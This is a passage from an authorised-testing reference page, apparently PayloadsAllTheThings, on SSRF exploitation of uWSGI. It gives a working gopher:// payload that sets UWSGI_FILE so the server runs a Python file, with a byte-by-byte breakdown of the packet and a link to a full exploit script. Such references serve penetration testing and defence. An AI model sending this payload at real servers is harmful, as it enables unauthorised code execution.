Server Side Request Forgery · passage 34 of 53

SSRF-Advanced-Exploitation: WSGI

1 code block · Server Side Request Forgery/SSRF-Advanced-Exploitation.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).

gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py

| Header | | | |-----------|-----------|-------------| | modifier1 | (1 byte) | 0 (%00) | | datasize | (2 bytes) | 26 (%1A%00) | | modifier2 | (1 byte) | 0 (%00) | | Variable (UWSGI_FILE) | | | | |-----------------------|-----------|----|----------------| | key length | (2 bytes) | 10 | (%0A%00) | | key data | (m bytes) | | UWSGI_FILE | | value length | (2 bytes) | 12 | (%0C%00) | | value data | (n bytes) | | /tmp/test.py |

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.